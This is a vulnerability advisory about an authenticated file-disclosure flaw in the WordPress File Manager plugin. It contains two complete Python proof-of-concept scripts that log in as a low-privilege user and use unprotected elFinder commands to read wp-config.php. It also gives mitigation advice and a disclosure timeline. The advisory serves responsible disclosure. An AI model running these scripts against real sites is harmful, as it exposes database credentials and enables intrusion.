File Manager [Authenticated Arbitrary File Download]

WordPress plugin File Manager doesn’t implement security checks when performing specific actions, thus leading to a Local File Disclosure vulnerability.

Description

WordPress plugin File Manager uses the elFinder library in order to perform file related operations from WordPress admin panel. This library implements an API offering various actions/commands that third parties (like the aforementioned plugin) can use, in order to take advantage of library’s capabilities. Those commands can be protected on command initialization with a callback using library’s options. This is left entirely on library’s users.

File Manager plugin make use of WordPress AJAX actions and registers one which is only available to registered users (no matter the access level). It also protects most elFinder’s commands using the FMMediaSync::security_check() method:

public function security_check(){
    // Checks if the current user have enough authorization to operate.
    if( ! wp_verify_nonce( $_POST['file_manager_security_token'] ,'file-manager-security-token') || !current_user_can( 'manage_options' ) ) wp_die();
    check_ajax_referer('file-manager-security-token', 'file_manager_security_token');
}

This method verifies a nonce which is only available to users that have access to plugin’s admin page. Access to this page is allowed only for admins with the manage_options capability. One could argue about the efficiency of this method since it doesn’t take into account multisite installations (in which a user with manage_options capability is not the super admin of the multisite), but let’s assume that is safe for single site use cases.

Unfortunately, some of those commands were missed thus allowing to registered users to use the following commands without any security checks offered by the FMMediaSync::security_check() method (description from elFinder’s Wiki:

  • abort: elFinder’s internal command
  • callback: elFinder’s internal command
  • dim: return image dimensions
  • file: output file contents to the browser (download/preview)
  • get: output plain/text file contents (preview)
  • ls: list files in directory
  • parents: return parent directories and its subdirectory childs
  • size: return size for selected files or total folder(s) size
  • subdirs: elFinder’s internal command
  • tmb: create thumbnails for selected files
  • tree: return child directories
  • url: elFinder’s internal command

Many of those commands can be used to get information about the site and server hosting the WordPress installation (the debug option specified in the request also offers some good info), but a couple of them are the most dangerous since they can be used to read local files thus leading to a Local File Disclosure vulnerability. Those are get and file commands.

PoC

Both of the following PoCs require a registered user to work. This can be typically a user with the subscriber role, but any user with an account to the affected website should do.

Get the contents of wp-config.php file using the file command:

#!/usr/bin/env python3

################################################################################
# File Manager Plugin - Authenticated Arbitrary File Download
#
#    Date: 2020-01-11
#  Author: Pan Vag <[email protected]>
#################################################################################

import requests
import base64

baseUrl = 'http://wp-latest.test'
loginUrl = baseUrl + '/wp-login.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'

loginPostData = {
    'log': 'subscriber',  # A user with edit_posts capability is required for this to work
    'pwd': 'p',
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200 or r.url == loginUrl:
    print('[-] Authentication failed')
    exit(1)

# any relative path will work, like
# 'wp-content/plugins/file-manager/elFinder/php/elFinderPlugin.php'
file = 'wp-config.php'

# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
encoded = base64.b64encode(file.encode('utf-8')).rstrip(b'=').decode('utf-8')

# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
volume = 'l1_'

data = {
    'action': 'connector',
    'cmd': 'file',
    'debug': 'true',
    'target': ''.join([volume, encoded]),
}

r = s.post(adminAjaxUrl, data=data)

if not r.ok or r.status_code != 200:
    print('[-] Exploitation failed')
    exit(2)

print('[+] Exploitation successfull!')
print('-' * 36, 'CONTENTS', '-' * 36)
print(r.text)
exit(0)

Get the contents of wp-config.php file using the get command:

#!/usr/bin/env python3

################################################################################
# File Manager Plugin - Authenticated Arbitrary File Download
#
#    Date: 2020-01-11
#  Author: Pan Vag <[email protected]>
#################################################################################

import requests
import json
import base64

baseUrl = 'http://wp-latest.test'
loginUrl = baseUrl + '/wp-login.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'

loginPostData = {
    'log': 'subscriber',  # A user with edit_posts capability is required for this to work
    'pwd': 'p',
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200 or r.url == loginUrl:
    print('[-] Authentication failed')
    exit(1)

# any relative path will work, like
# 'wp-content/plugins/file-manager/elFinder/php/elFinderPlugin.php'
file = 'wp-config.php'

# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
volume = 'l1_'

file_hash = base64.b64encode(file.encode('utf-8')).rstrip(b'=').decode('utf-8')

data = {
    'action': 'connector',
    'cmd': 'get',
    'debug': 'true',
    'target': ''.join([volume, file_hash]),
}

r = s.post(adminAjaxUrl, data=data)

if not r.ok or r.status_code != 200:
    print('[-] Exploitation failed')
    exit(2)

res = json.loads(r.text)

if 'content' not in res:
    print('[-] Failed to get file')
    if 'debug' in res:
        print('[*] Debug:')
        print(res)
    exit(3)

print('[+] Exploitation successfull!\n[*] Contents:')
print(res['content'])
exit(0)

Suggested Solution

For sufficient protection the following mitigation measures are proposed:

  • make unavailable all unused or unnecessary elFinder’s actions
  • protect all elFinder’s actions with sufficient capabilities checks (take into account also multisite installations)

INFO
TIMELINE
  • 2020-01-11:
    Discovered
  • 2020-01-11:
    Attempt to contact the vendor through contact form on their website
  • 2020-01-14:
    Vendor responded
  • 2020-01-15:
    Vendor received details
  • 2020-01-19:
    Asked for an update
  • 2020-07-12:
    WordPress Plugin Team is informed about this issue
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX